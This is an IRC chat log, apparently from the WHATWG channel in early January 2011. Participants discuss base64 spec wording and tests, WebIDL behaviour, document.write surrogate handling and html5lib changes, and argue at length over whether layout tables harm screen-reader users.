Yes, that's also a problem.  All specs not written by Hixie or someone following his style are now infuriatingly vague.

[12:33:01.0000] <AryehGregor>
But such is the price of progress.

[12:33:02.0000] <jcranmer>
unfortunately, you start to lose sight of what things actually means

[12:33:03.0000] <Hixie>
Ms2ger: yeah, well, that's a real problem regardless.

[12:33:04.0000] <Hixie>
Ms2ger: and i say that as someone who used to write css specs :-)

[12:33:05.0000] <jcranmer>
base64 is much more easily understood if you think of it has merely reencoding it as 6-bit bytes intead of 8-bit ones

[12:34:00.0000] <Hixie>
AryehGregor: yeah, you have to try to find a way to keep things readable at the same time, that's why spec writing isn't easy :-)

[12:34:01.0000] <Hixie>
gotta go get lunch ready, bbiab

[12:34:02.0000] <AryehGregor>
Okay, how about this new text: http://aryeh.name/tmp/spec.html

[12:35:00.0000] <AryehGregor>
/me clarifies the wording slightly to be pedantic

[12:35:01.0000] <AryehGregor>
There, clarified a bit.

[12:36:00.0000] <AryehGregor>
Actually, I'll just quote it: "If the input string contains any character whose code point is strictly greater than U+00FF, throw an INVALID_CHARACTER_ERR exception. Otherwise, convert it to a binary string whose nth byte is the eight-bit code point of the nth byte of the input string, apply the base64 algorithm to that binary string, and return the result."

[12:36:01.0000] <AryehGregor>
jcranmer++

[12:36:02.0000] <AryehGregor>
Er.

[12:36:03.0000] <AryehGregor>
That last "byte" should be "character", of course.

[12:36:04.0000] <AryehGregor>
/me gets back to writing tests

[12:37:00.0000] <gsnedders>
What's the eight-bit code point of U+FFFF?

[12:37:01.0000] <jcranmer>
gsnedders: thats an invalid character

[12:37:02.0000] <gsnedders>
Oh, duh

[12:37:03.0000] <AryehGregor>
gsnedders, it's already thrown an exception by that point.

[12:38:00.0000] <jcranmer>
I would s/byte/octet/g personally

[12:38:01.0000] <gsnedders>
"whose nth byte has the value of the nth character's code point"?

[12:38:02.0000] <gsnedders>
That's be clearer to me

[12:39:00.0000] <jcranmer>
unless something somewhere states that bytes are 8-bit value chunks

[12:41:00.0000] <AryehGregor>
Does anyone use "byte" to mean anything different these days?

[12:41:01.0000] <AryehGregor>
But okay, why not.

[12:41:02.0000] <gsnedders>
Hey, I implemented UTF-9!

[12:41:03.0000] <AryehGregor>
My condolences

[12:41:04.0000] <AryehGregor>
.

[12:41:05.0000] <gsnedders>
I did it for the hell of it ;P

[12:43:00.0000] <Hixie>
AryehGregor: looks good.

[12:43:01.0000] <jcranmer>
I came close to implementing UTF-7 once

[12:43:02.0000] <jcranmer>
stupid @#$@#$ing IMAP

[12:44:00.0000] <gsnedders>
UTF-7 didn't have the fun of UTF-9 to implement. People actually use it.

[12:44:01.0000] <Hixie>
AryehGregor: you're missing a "must" somewhere in there actually

[12:45:00.0000] <Hixie>
s/throw/the user agent must throw/ and s/convert/user agent must convert/

[12:45:01.0000] <jcranmer>
Hixie: don't you mean MUST? ;-)

[12:45:02.0000] <Hixie>
no

[12:45:03.0000] <jcranmer>
gsnedders: which is why it's so freakishly annoying

[12:45:04.0000] <Hixie>
i'm assuming whatever spec AryehGregor's text eventually ends up in will have http://www.whatwg.org/specs/web-apps/current-work/complete.html#conformance-requirements as its conformance section

[12:46:00.0000] <jcranmer>
I tend to prefer to capitalize the keywords just to make it clear

[12:46:01.0000] <jcranmer>
especially with the most annoying phrase in the world, "may not"

[12:46:02.0000] <Hixie>
i just don't use "may not"

[12:46:03.0000] <Ms2ger>
jcranmer, that's not defined by rfc 2119, don't use it

[12:47:00.0000] <jcranmer>
I use the term "might not" as much as possible

[12:47:01.0000] <gsnedders>
I might not use it much…

[12:48:00.0000] <Hixie>
jcranmer: (i once tried to make every MUST in the html spec be uppercase, and then tried small-caps, and in both cases the spec was completely unreadable as a result.)

[12:48:01.0000] <jcranmer>
perhaps I just don't use MUST enough

[12:50:00.0000] <gsnedders>
I should use "MUST" more.

[12:50:01.0000] <Ms2ger>
gsnedders, no, you must.

[12:52:00.0000] <AryehGregor>
No, he SHOULD use "MUST" more.

[12:52:01.0000] <AryehGregor>
But MAY wish not to.

[12:54:00.0000] <Hixie>
he MAY wish anything he wants :-P

[12:54:01.0000] <jcranmer>
it is RECOMMENDED that he do it, though

[12:55:00.0000] <gsnedders>
I want a unicorn jumping over a double rainbow!

[12:55:01.0000] <Ms2ger>
You MAY.

[12:55:02.0000] <Hixie>
hmm, RECOMMENDED. I should go through the spec and make sure I'm not abusing that.

[12:55:03.0000] <Hixie>
it's like SHOULD, right?

[12:55:04.0000] <gsnedders>
Right.

[12:56:00.0000] <Hixie>
a quick glance seems to indicate it's used somewhat appropriately

[12:56:01.0000] <Ms2ger>
"In this example a recommended retail price has been marked"? :)

[12:57:00.0000] <Hixie>
that's in a non-normative section

[12:57:01.0000] <Hixie>
i'm not gonna worry about RECOMMENDED in examples and such

[12:57:02.0000] <Hixie>
notes, yes

[12:57:03.0000] <Hixie>
but not examples

[12:59:00.0000] <AryehGregor>
Okay, does anyone else have more tests to suggest here?  I'm finding it hard to be creative.  http://aryeh.name/tests-root/tests/submission/AryehGregor/base64.html

[12:59:01.0000] <AryehGregor>
Oh, hmm, Firefox fails some.

[13:00:00.0000] <AryehGregor>
As does Opera.

[13:00:01.0000] <AryehGregor>
Yay, I found some more incompatibilities.  Now I get to decide which to spec.

[13:01:00.0000] <Ms2ger>
Firefox just fails the assert_throws ones over here, which isn't related

[13:01:01.0000] <AryehGregor>
Can anyone help me decipher the Firefox error message?  Maybe jgraham?  "assert_throws: function () { btoa(input); } threw with code INVALID_CHARACTER_ERR (5) expected INVALID_CHARACTER_ERR (5)"

[13:01:02.0000] <AryehGregor>
That doesn't seem to make sense.

[13:01:03.0000] <Ms2ger>
It checks e.name

[13:01:04.0000] <AryehGregor>
Ms2ger, the last two are supposed to throw too.

[13:01:05.0000] <Ms2ger>
Which has NS_ERROR_DOM up front

[13:01:06.0000] <AryehGregor>
Oh, no, they aren't.

[13:01:07.0000] <AryehGregor>
Wait a sec, encoding issue with the last one.

[13:02:00.0000] <AryehGregor>
Okay, so the Firefox failures are a problem with the test harness and not me?

[13:02:01.0000] <AryehGregor>
I guess Opera is copying IE here.  I'll try to figure out what they do.

[13:03:00.0000] <Ms2ger>
It's an irrelevant bug in Firefox

[13:03:01.0000] <jcranmer>
AryehGregor: I might suggest trying the tests with a charset that has codepoints > U+00FF

[13:03:02.0000] <AryehGregor>
jcranmer, what do you mean?

[13:03:03.0000] <AryehGregor>
Ms2ger, oh, okay.

[13:03:04.0000] <gsnedders>
AryehGregor: We don't seem to have many bugs on it, at least — pretty much only not throwing

[13:04:00.0000] <jcranmer>
AryehGregor: if they're doing page-specific encoding

[13:04:01.0000] <AryehGregor>
Well, I'd hope there couldn't be *too* many bugs in a base64 function.

[13:04:02.0000] <AryehGregor>
jcranmer, oh, so like seeing if the function's behavior depends on the encoding of the page?  Interesting thought.

[13:04:03.0000] <jcranmer>
right

[13:05:00.0000] <jcranmer>
that's about the only non-obvious error I can think of

[13:10:00.0000] <Ms2ger>
/me wonders why DOM2Range handles cases where doctypes have children

[13:15:00.0000] <Hixie>
AryehGregor: one thing to test is outputs for inputs of various lengths to make sure the trailing =s are done right

[13:16:00.0000] <Hixie>
also, check astral plane characters, while you're at it -- there might be some weird UTF-16/surrogate issues

[13:19:00.0000] <jcranmer>
oh yeah, anything not in the BMP is liable to get wonky

[13:19:01.0000] <jcranmer>
forgot about that


2011-01-03
[01:38:00.0000] <gsnedders>
Dashiva: String.fromCharCode returns UTF-16 code-units. JS strings have no knowledge of characters, merely UTF-16 code-units.

[01:41:00.0000] <annevk>
so how can http://tools.ietf.org/html/rfc3490#section-4.2 never fail but still fail in e.g. step 5?

[01:42:00.0000] <annevk>
is "If any step fails, then the original input sequence is returned immediately in that step." some kind of catch all not explicitly mentioned in the steps?

[01:42:01.0000] <annevk>
so that when step 5 fails you would just do that and not verify anything as step 7 describes?

[01:53:00.0000] <jgraham>
AryehGregor: Yeah, I think I once got it working on IE8, but I'm not sure what happened to the patch

[01:53:01.0000] <jgraham>
Now, of course, I don't have a computer with IE8

[01:54:00.0000] <jgraham>
/me mutters something about vendors that only let you install one version of a browser at a time

[01:54:01.0000] <jgraham>
gsnedders: ping

[01:56:00.0000] <annevk>
nobody cares about DNS?

[01:56:01.0000] <annevk>
I am disappoint

[01:56:02.0000] <annevk>
also, even though I read quite a few emails while on "vacation" I'm now at 1700... up from 600 or so

[01:57:00.0000] <gsnedders>
jgraham: pong

[01:57:01.0000] <gsnedders>
jgraham: (I guess this is about my ping earlier)

[01:59:00.0000] <jgraham>
gsnedders: You told me to ping you. I have compiled. Now I will go back to ignoring you

[01:59:01.0000] <jgraham>
*complied

[02:00:00.0000] <gsnedders>
jgraham: You've compiled? Compiled what?

[02:00:01.0000] <gsnedders>
:P

[02:00:02.0000] <jgraham>
Myself. I am now very fast but have a tendency to crash

[02:00:03.0000] <gsnedders>
jgraham: html5lib seriailizer tests are dependent upon the treewalker format. I've changed that as we discussed before.

[02:01:00.0000] <gsnedders>
jgraham: Should I change the tests and break other impls, or?

[02:01:01.0000] <jgraham>
What other implementations?

[02:01:02.0000] <jgraham>
I didn't think there were any of the treewalkers

[02:01:03.0000] <gsnedders>
Well, if there are none, then I guess there's no issue

[02:02:00.0000] <gsnedders>
jgraham: I've implemented what we thought was the preferred solution, a list of dicts with "namespace", "name", and "value" for attributes on elements, instead of the current mess with no foreign content support.

[02:02:01.0000] <jgraham>
gsnedders: Sounds good

[02:03:00.0000] <jgraham>
So, did anyone keep up with hybi over Christmas?

[02:03:01.0000] <jgraham>
Has anything changed?

[02:04:00.0000] <gsnedders>
jgraham: The patch is a bit ugly at the moment, may well push and then clean up

[02:04:01.0000] <hsivonen>
/me is emerging from holiday and sickness

[02:04:02.0000] <gsnedders>
Like, just a bit more duplicated code than I'd like

[02:04:03.0000] <hsivonen>
lots of email as usual

[02:07:00.0000] <annevk>
we should form a club

[02:07:01.0000] <annevk>
on second thought, I guess we already have one

[02:09:00.0000] <jgraham>
The "I went on vacation and now I have lots of email" club? Seems like it might be distressingly non-exclusivr

[02:09:01.0000] <jgraham>
s/r/e/

[02:11:00.0000] <gsnedders>
Bah, vacation ;P

[02:40:00.0000] <annevk>
hsivonen, asked our encoding guy

[02:40:01.0000] <annevk>
(re public-html)

[02:40:02.0000] <hsivonen>
annevk: thanks!

[02:41:00.0000] <jgraham>
annevk: Oh, I just asked someone else :)

[04:36:00.0000] <payman>
zcorpan: typeof(window.MediaError) should be 'function' or 'object'?

[04:37:00.0000] <bga_>
is it exception?

[04:37:01.0000] <bga_>
=> function

[04:37:02.0000] <payman>
bga_: FF seems to disagree.

[04:38:00.0000] <payman>
(so does IE)

[04:39:00.0000] <zcorpan>
payman: dunno what webidl says

[04:40:00.0000] <zcorpan>
http://dev.w3.org/2006/webapi/WebIDL/#interface-object

[04:41:00.0000] <zcorpan>
"Unless otherwise specified, the [[Prototype]] internal property of objects defined in this section is the Object prototype object."

[04:41:01.0000] <payman>
'function object', so object.

[04:41:02.0000] <zcorpan>
MediaError is not a constructor, so 'object'

[04:42:00.0000] <zcorpan>
while WebSocket would be 'function'

[04:43:00.0000] <payman>
zcorpan: I assume the same goes for window.TimeRanges ?

[04:43:01.0000] <jgraham>
/me wonders if http://dev.w3.org/2006/webapi/WebIDL/#es-constants changed recently

[04:44:00.0000] <zcorpan>
payman: yeah

[04:44:01.0000] <erlehmann>
that feel when "ps auxf" and in the START line there is only a year

[04:44:02.0000] <jgraham>
Oh, I am confusing that with something else

[05:09:00.0000] <foolip>
zcorpan, what [[Prototype]] is isn't relevant for what e.g. typeof window.MediaError will return, is it?

[05:09:01.0000] <foolip>
it seems that the relevant part of the spec is "There exists an interface object for every interface not declared with the [NoInterfaceObject] extended attribute. If the interface is declared with a [Constructor] extended attribute, then the interface object is a function object."

[05:10:00.0000] <foolip>
since MediaError isn't defined as [Constructor], it's not a function object, presumably

[05:10:01.0000] <zcorpan>
foolip: oh, i thought [[Prototype]] was relevant for typeof, but i'm not sure of that

[05:10:02.0000] <zcorpan>
foolip: indeed

[05:10:03.0000] <foolip>
payman, ^

[05:19:00.0000] <zcorpan>
webkit doesn't support apng?

[05:20:00.0000] <hsivonen>
I can't remember ever seeing an apng announcement for any WebKit-based browser

[05:20:01.0000] <gsnedders>
zcorpan: Depends on the platform, no? Safari just throws it off to CoreImage, AFAIK

[05:25:00.0000] <annevk>
yeah, WebKit does not have a shared image layer

[05:25:01.0000] <annevk>
except for SVG, which isn't really images in the same sense

[05:27:00.0000] <zcorpan>
i see

[05:27:01.0000] <zcorpan>
would be nice with wider adoption of apng

[05:27:02.0000] <annevk>
better be in Acid 4

[05:31:00.0000] <Rik`>
zcorpan: iirc apng has been rejected by the png spec

[05:33:00.0000] <Philip`>
The only effect that has is on the case of the chunk identifiers, I think

[05:33:01.0000] <Philip`>
It doesn't seem to have stopped people implementing it

[05:35:00.0000] <annevk>
it's like the debate on who owns text/html

[05:35:01.0000] <annevk>
*boring*

[07:22:00.0000] <hsivonen>
was a spec bug ever filed for making script.src setting start the fetch and having readyState and progress events to go with the fetch? see http://www.w3.org/mid/AANLkTikatiEzUaM6xMe465f5edCrFopYg2-5zhcN29DL⊙mgc ?

[07:23:00.0000] <hsivonen>
if a spec bug was filed, I failed to notice it when I read through bugmail

[07:25:00.0000] <miketaylr>
i can't find one since December 20, 2010

[08:53:00.0000] <jgraham>
Hixie, hsivonen: It isn't clear to me whether one is supposed to preprocess bytes from document.write before they are passed to the tokenizer. So, for example, should unpaired surrogates in document.write end up as replacement characters, or as literal characters in the source?

[08:56:00.0000] <jgraham>
The spec describes it as "preprocessing the input stream" which might imply that it doesn't happen for document.write (since the characters are inserted directly into the input stream). But the test explicitly suggests that it happens before the characters are passed to the tokenizer, which would suggets it also applies to document.written characters

[08:59:00.0000] <jgraham>
The same question mostly applies to innerHTML

[09:01:00.0000] <jgraham>
i.e. in step 5 of http://www.whatwg.org/specs/web-apps/current-work/multipage/the-end.html#html-fragment-parsing-algorithm , should the input stream be preprocessed?

[10:32:00.0000] <hsivonen>
jgraham: document.write doesn't write bytes. It writes UTF-16 code units. Unpaired surrogates pass trough. The spec isn't clear on this.

[10:33:00.0000] <hsivonen>
jgraham: http://www.w3.org/Bugs/Public/show_bug.cgi?id=11298

[10:35:00.0000] <hsivonen>
jgraham: I disagree with what Hixie says on the bug, but I'm not at a keyboard suitable for counterarguing

[10:46:00.0000] <gsnedders>
So much in html5lib depends upon the treewalker format, it's quite disturbing

[11:26:00.0000] <karlcow>
http://www.rield.com/cheat-sheets/rel-attribute-values.html

[11:48:00.0000] <gsnedders>
jgraham: See my huge commit I've just pushed to html5lib

[12:27:00.0000] <karlcow>
http://www.youtube.com/user/kkkwwwaaakkk#p/u/4/54XYqsf4JEY "most dangerous file format -> PDF"

[12:40:00.0000] <Workshiva>
"Now we must play the most dangerous game"

[12:54:00.0000] <bga_>
/me hate websites from which /me can not download w/o js enabled

[13:09:00.0000] <Evet>
services > APIs > Applications > Websites

[13:59:00.0000] <Hixie>
jgraham: re surrogates and document.write(), i don't know. I wrote the spec assuming document.write() worked in Unicode characters, which may have been a mistaken assumption.

[14:09:00.0000] <bga_>
hm

[14:09:01.0000] <bga_>
is events subsystem has joistick/gamepad/... events?

[14:12:00.0000] <bga_>
i see

[14:12:01.0000] <bga_>
DOM_KEY_LOCATION_JOYSTICK

[14:16:00.0000] <bga_>
but

[14:16:01.0000] <bga_>
http://www.multi-device.ru/products_pictures/RaceFXWheelForXbox_150.jpg

[14:20:00.0000] <bga_>
wheel is analog device

[14:20:01.0000] <bga_>
and its not mouse wheel :)

[14:22:00.0000] <bga_>
+ gamepad vibration api

[14:51:00.0000] <Evet>
which js framework you suggest for client-side of RIA?

[14:52:00.0000] <bga_>
xul/amplesdk

[15:07:00.0000] <webben>
When the spec lists hgroup among the elements with "special parsing rules", http://dev.w3.org/html5/spec/parsing.html#parsing , what rules is it referring to?

[15:07:01.0000] <webben>
oh never mind found them

[15:28:00.0000] <Evet>
bga_: wohoo its good


2011-01-04
[16:48:00.0000] <stvs>
Why is the topic inviting us to leave our logic :/ ?

[16:58:00.0000] <waldir>
Hi, I think i found a typo on a W3C page. Is there anyone who can quickly check that (and hopefully fix it if it's really a typo)?

[17:01:00.0000] <Lachy_>
waldir, unless you're talking about the HTML5 spec, or other related spec, this channel doesn't work on the W3C website

[17:01:01.0000] <waldir>
I thought so, but someone pointed me here on the #html5 channel when I asked about how to contact w3c people

[17:01:02.0000] <waldir>
Lachy: can you point me in the right direction?

[17:03:00.0000] <webben>
waldir: Doesn't the page have contact details?

[17:03:01.0000] <Lachy>
not sure, possibly #sysreq on irc.w3.org

[17:04:00.0000] <Lachy>
depends, what page is it?

[17:04:01.0000] <waldir>
Lachy: thanks. I was on #w3c on that server but it was empty

[17:05:00.0000] <waldir>
Lachy: http://www.w3.org/TR/css3-multicol/

[17:10:00.0000] <waldir>
webben: I can't find any specifically on that page

[17:12:00.0000] <webben>
waldir: ah in that case "return comments to the (archived) public mailing list www-style⊙wo"

[17:14:00.0000] <waldir>
aren't those implementation-related comments they're referring to?

[17:15:00.0000] <webben>
waldir: Yes, but www-style is the appropriate general mailing list.

[17:16:00.0000] <waldir>
webben: ok, I'll do that. But do i need to be subscribed to it?

[17:16:01.0000] <waldir>
seems so: "To post messages, you have to be subscribed."

[17:16:02.0000] <waldir>
argh

[17:17:00.0000] <webben>
waldir: it's an open subscription model

[17:17:01.0000] <webben>
you can always join and leave ;)

[17:17:02.0000] <waldir>
ah, wait: "Messages from non-subscribers are diverted to a human moderator and may appear with a delay."

[17:17:03.0000] <waldir>
I think I'll do that and bookmark the archives page :P

[17:17:04.0000] <webben>
yeah, I think that's more cumbersome than joining and leaving but suit yourself :)

[17:17:05.0000] <waldir>
I got already way too much email to deal with

[17:18:00.0000] <webben>
/me knows the feeling.

[17:18:01.0000] <waldir>
:)

[17:18:02.0000] <waldir>
btw, I'm reading that page, haven't even left the first half and I've already found half a dozen typos! Is that a normal thing?

[17:19:00.0000] <waldir>
I thought a candidate rec. would have been reviewed many times over by now :/

[17:20:00.0000] <webben>
waldir: mmm ... I think the amount of CSS spec editing to be done significantly exceeds the available time of spec editors.

[17:21:00.0000] <bga_>
grammar nazi :)

[17:24:00.0000] <waldir>
bga_: guilty as charged :P fortunately I have wikipedia to escape my urges :D

[17:24:01.0000] <stvs>
I really want to discuss the language int he HTML5 spec under "Tables must not be used as layout aids. Historically, some Web authors have misused tables in HTML as a way to control their page layout."

[17:24:02.0000] <stvs>
Under tables, I mean.

[17:25:00.0000] <stvs>
Such strong language is best left for the blogs of the various CSS "gurus" which aren't familiar the HTML4 spec itself suggested at one point using tables for layout (of forms, for example).

[17:26:00.0000] <stvs>
While ideally we shouldn't rely, and normally we don't have to, unless with complex layouts, "must not" is inappropriate language considering there is no CSS alternative beside the still incomplete CSS3 grids module.

[17:27:00.0000] <stvs>
This remark is also inaccurate for any screen reader of at least a decade back: "In particular, users of accessibility tools like screen readers are likely to find it very difficult to navigate pages with tables used for layout."

[17:28:00.0000] <stvs>
I urge the authors to update their screen reader software...

[17:29:00.0000] <Lachy>
waldir, don't trust moderators to approve messages from non-subscribers.

[17:29:01.0000] <Lachy>
it's likely that the moderation queue is flooded with spam and your message would be lost

[17:31:00.0000] <webben>
stvs: "This remark is also inaccurate for any screen reader of at least a decade back". What is that claim based on?

[17:33:00.0000] <waldir>
Lachy: then, I must say this feedback system is not very friendly to the random passerby who just wants to report a typo as is the case. I suspect many such helping hands must have been wasted because of process...

[17:41:00.0000] <stvs>
webben, I've tested Jaws and few more readers back then to see how they handle table sites, say amazon, ebay, google among others.

[17:41:01.0000] <stvs>
It worked good.

[17:41:02.0000] <stvs>
Some earlier readers had hilarious way of interpreting data in tables I admit

[17:41:03.0000] <stvs>
but that was in the 90-s

[17:41:04.0000] <stvs>
Such as flattening text lines and reading line by line

[17:42:00.0000] <stvs>
across table cells

[17:42:01.0000] <stvs>
no reader in wide use does this today

[17:42:02.0000] <webben>
stvs: That's not an especially exhaustive test.

[17:42:03.0000] <stvs>
and it was always more a reader fault than faul of html

[17:42:04.0000] <stvs>
webben, ok, I did some. What is that claim the spec based on?

[17:42:05.0000] <webben>
stvs: Please provide an algorithm for distinguishing data and layout tables.

[17:43:00.0000] <stvs>
webben, simple, I'll cite w3c from back then: if the table has no thead/th or other tabular data semantics but just plain td cells, it's to be treated as content without any assumptions.

[17:43:01.0000] <stvs>
Naturally IF it's a table that works by its nature again

[17:44:00.0000] <stvs>
But special handling is only needed to correlate headers and data, if you have no headers you have nothing to correlate

[17:44:01.0000] <stvs>
Therefore, there is no issue.

[17:44:02.0000] <webben>
stvs: I think you'll find that algorithm does not work in practice.

[17:44:03.0000] <stvs>
webben, I think I just said I tested it with actual readers.

[17:44:04.0000] <webben>
stvs: In particular, real-world algorithms for this task are rather more complex.

[17:44:05.0000] <stvs>
Again, which reader did you test in "practice"?

[17:46:00.0000] <webben>
stvs: I think the test is in applying said algorithm in bulk and seeing how many misidentifications you get.

[17:46:01.0000] <stvs>
webben, what computer do you have in front of you right now

[17:47:00.0000] <webben>
macbook

[17:47:01.0000] <stvs>
Great. Open safari and open ebay.com

[17:47:02.0000] <webben>
stvs: Dude. That isn't a sufficient test, as I've just explained.

[17:47:03.0000] <stvs>
Select all, now use the TTS to read the page

[17:47:04.0000] <stvs>
I'm trying to make you BEGIN to test

[17:48:00.0000] <stvs>
Because you assume problems without making any test.

[17:48:01.0000] <webben>
stvs: You realize that the behaviors you're seeing are actually dependent on applying more complex algorithms right?

[17:48:02.0000] <stvs>
I realize that you're trying to redefine the original issue.

[17:48:03.0000] <stvs>
Are tables a huge problem for layout. No.

[17:48:04.0000] <stvs>
Modern software handles it.

[17:49:00.0000] <webben>
stvs: Your testing is not sufficient to make that claim.

[17:49:01.0000] <webben>
Sorry.

[17:50:00.0000] <stvs>
So the deal is this: you do not test. Assume there's a problem. Anyone who actually tests is called to have not sufficient tests.

[17:50:01.0000] <webben>
stvs: If we can standardize a reliable algorithm for distinguishing data tables and layout tables, that would be useful regardless of the conformance status of layout tables.

[17:50:02.0000] <stvs>
Are you #whatwg's McCain or something?

[17:50:03.0000] <stvs>
Need more tests?

[17:50:04.0000] <stvs>
Need to test the tests?

[17:50:05.0000] <webben>
stvs: No. You've described the tests you've done and I don't think they're sufficient.

[17:51:00.0000] <webben>
stvs: And they don't give us a way to standardize an effective behavior.

[17:52:00.0000] <stvs>
webben, I think you're inversing the problem.

[17:52:01.0000] <stvs>
The spec cites vague issues which it can not support.

[17:53:00.0000] <stvs>
You can't cite any specific issues either.

[17:53:01.0000] <stvs>
So how was that conclusion made?

[17:53:02.0000] <webben>
/me sighs.

[17:54:00.0000] <stvs>
The fact is many of the most popular sites out there use tables, for good or bad reasons, and while not all of them are optimal for blind users, I've never seen the TABLE itself making it worse

[17:54:01.0000] <stvs>
The readers don't read out "table cell"

[17:54:02.0000] <webben>
stvs: Maybe people have been encountering misidentifications that you did not run across in your limited testing.

[17:54:03.0000] <stvs>
They read the content in the page.

[17:54:04.0000] <stvs>
"maybe"?

[17:54:05.0000] <stvs>
Is that your well argumented and supported position

[17:57:00.0000] <webben>
stvs: http://lists.w3.org/Archives/Public/public-html/2010Dec/0140.html

[17:58:00.0000] <stvs>
Thanks for the reference, webben

[17:58:01.0000] <stvs>
/me reads

[18:00:00.0000] <stvs>
webben, role="presentation" <- would you comment on this

[18:02:00.0000] <webben>
stvs: I have commented on it. (I'm Benjamin Hawkes-Lewis in that thread.) See also my concerns at http://lists.w3.org/Archives/Public/public-html-a11y/2010Dec/0267.html

[18:02:01.0000] <webben>
stvs: See also http://lists.w3.org/Archives/Public/public-html/2010Dec/0141.html for references to some of the complex algorithms deployed on the browser side.

[18:03:00.0000] <webben>
stvs: I believe these interact with additional algorithms on the AT side.

[18:04:00.0000] <webben>
stvs: I thinking testing with immensely popular sites like Ebay is problematic as these are a) more likely to have been tested by their developers to work with the current round of AT.

[18:04:01.0000] <webben>
and b) it's entirely possible that UAs/AT have specific behavior encoded for exceptionally popular sites

[18:04:02.0000] <stvs>
limiting that attribute to tables (for now) and only to elements that exhibit situation like tables seems to be a good solution, like you yourself said..?

[18:04:03.0000] <webben>
(e.g. Opera I believe does patches for particular sites - not for this issue, but generally.)

[18:05:00.0000] <webben>
stvs: Currently the spec allows role="presentation" on everything.

[18:05:01.0000] <stvs>
The issue of using it on other elements isn't the issue I'm trying to clarify in particular though

[18:05:02.0000] <stvs>
I'm saying, we have nothing to make flexible grids in HTML right now

[18:06:00.0000] <stvs>
Except tables.

[18:06:01.0000] <webben>
stvs: Are you talking about IE6-7 compat?

[18:06:02.0000] <stvs>
So an attribute hint, and saying "should avoid using tables for layout" instead of "must not"

[18:07:00.0000] <stvs>
I am, because they're still relevant, and using display:table on arbitrary elements is outright horrible, not to mention lack or row/colspan

[18:07:01.0000] <webben>
Yeah, I think HTML5 has bigger problems for IE6/IE7 compat than whether layout tables are conforming or not.

[18:08:00.0000] <stvs>
When the spec dispenses tips like "must not use" they should either reflect the reality, or if they reflect some ideal, at least have a note on how to deal with it in reality today

[18:08:01.0000] <webben>
I disagree using display:table on arbitrary elements is horrible. Not sure about impact of colspan/rowspan missing from the CSS model.

[18:08:02.0000] <stvs>
role="presentation" + td-only light tables seem completely harmless to me

[18:09:00.0000] <stvs>
And so I'm not misunderstood, I actually quite rarely use tables for layout in practice.

[18:09:01.0000] <webben>
Would be useful to have examples of popular layouts that cannot be achieved with colspan/rowspan.

[18:09:02.0000] <stvs>
It's not that I'm stuck in 95 and want my table mess.

[18:10:00.0000] <webben>
To some extent, I think role="presentation" is a red herring in so far as the people who need to use it probably won't.

[18:10:01.0000] <stvs>
webben, that is circular logic as you can't have popular table-only layouts when everyone is destroying you if you even mention table layouts.

[18:11:00.0000] <webben>
I'm more interested in adding features to CSS to support impossible layouts and standardizing algorithms for differentiating data/layout tables in the corpus.

[18:11:01.0000] <stvs>
I am too. But so far I'm not impressed with the grids module.

[18:11:02.0000] <stvs>
and when exactly will it be ready and widely available. I wonder if I'll be alive.

[18:11:03.0000] <stvs>
Literally

[18:12:00.0000] <webben>
stvs: I don't believe enabling layouts that aren't popular is a more important goal than keeping presentation out of markup.

[18:12:01.0000] <stvs>
Again, circular logic.

[18:12:02.0000] <webben>
It's not actually.

[18:13:00.0000] <stvs>
Let me demonstrate. The web circa 92-93, w3c is arguing images on the web are not popular, so enabling a popular feature is less important that providing good semantics for technical papers.

[18:13:01.0000] <stvs>
Of course it won't be popular when you *can't do it*

[18:13:02.0000] <stvs>
you need to provide it then if it's useful, it becomes popular.

[18:14:00.0000] <stvs>
We have no lack of such popular layouts outside the web

[18:14:01.0000] <stvs>
in .NET apps, iPad magazines are popping up

[18:14:02.0000] <webben>
stvs: by popular you mean "desired", by popular I mean "practiced"

[18:14:03.0000] <stvs>
And various layout frameworks in GUI toolkits

[18:14:04.0000] <stvs>
Same deal.

[18:14:05.0000] <stvs>
You can't practice something that you can't do in a browser.

[18:15:00.0000] <stvs>
So to see what can improve the web, again, you need to look outside the web

[18:15:01.0000] <webben>
"improve" is very much in the eye of the beholder there ;)

[18:15:02.0000] <stvs>
People are struggling every day with abusing floats for layout.

[18:15:03.0000] <stvs>
To me floats for layout is almost as bad as tables.

[18:16:00.0000] <stvs>
It's a poor tool for the job.

[18:16:01.0000] <stvs>
If the endless stream of "css tutorials" with 3000px wide transparent gifs and absolute in relative with negative margins inside a centers with and so on and so on CSS layouts don't bother you, they bother me.

[18:16:02.0000] <stvs>
They identify a clear need for simple layout tools.

[18:17:00.0000] <webben>
I'm concerned to preserve the sanity of the markup layer because that's where the service is. I can just about live with the insanity beyond that.

[18:17:01.0000] <stvs>
Oh well.

[18:17:02.0000] <stvs>
It's really too bad more people in w3c don't realize the code is the means and not the goal.

[18:18:00.0000] <webben>
stvs: I'd say it's a shame more people don't realize the service not the look is the goal.

[18:19:00.0000] <stvs>
It looks like w3c is in conflict with those who made the web what it is then.

[18:19:01.0000] <stvs>
No wonder XHTML2 failed

[18:20:00.0000] <webben>
stvs: "what it is" ... superficial, broken, inconsistent? ;)

[18:20:01.0000] <stvs>
Rich, capable.

[18:20:02.0000] <stvs>
A platform.

[18:21:00.0000] <webben>
Then I don't think your claim follows.

[18:22:00.0000] <stvs>
And I still don't know why role="presentation" on a table doesn't solve your particular grudge with layout tables

[18:24:00.0000] <webben>
stvs: 1. The people who need to use it won't use it. 2. It's not a substitute for a differentiating algorithm. 3. It will break if UAs provide any sort of interactivity for tables.

[18:24:01.0000] <webben>
(As I explained in those threads.)

[18:24:02.0000] <stvs>
1. is a bogus point

[18:25:00.0000] <webben>
I disagree.

[18:25:01.0000] <stvs>
How often do you give up recommending a correct solution at the doubt people won't accept it?

[18:26:00.0000] <stvs>
Have you given up on recommending no tables for layout because people will use tables anyway?

[18:26:01.0000] <stvs>
Either is that attribute correct and you can recommend it, or it is not.

[18:26:02.0000] <webben>
stvs: If we're going to recommend the right thing, we might as well recommend the right thing.

[18:26:03.0000] <stvs>
Otherwise it's circular logic again

[18:26:04.0000] <stvs>
People won't use because I don't recommend it so I won't recommend it because people won't use it.

[18:27:00.0000] <stvs>
No improvement whatsoever can be done this way as I can rationalize any change as pointless using the same argument

[18:27:01.0000] <stvs>
So is role="presentation" the right thing or the wrong thing?

[18:28:00.0000] <stvs>
Point 2, also bogus

[18:28:01.0000] <webben>
I suspect it's less evil than the alternative of a unmarked layout table.

[18:28:02.0000] <stvs>
It's a direct substitute as it removes the need to detect what's explicitly pointed out

[18:28:03.0000] <webben>
Only if applied. So it's irrelevant to most of the corpus.

[18:29:00.0000] <stvs>
If it's less evil, is it not worth recommending it *until* a capable grids module for CSS is finalized

[18:29:01.0000] <stvs>
And available

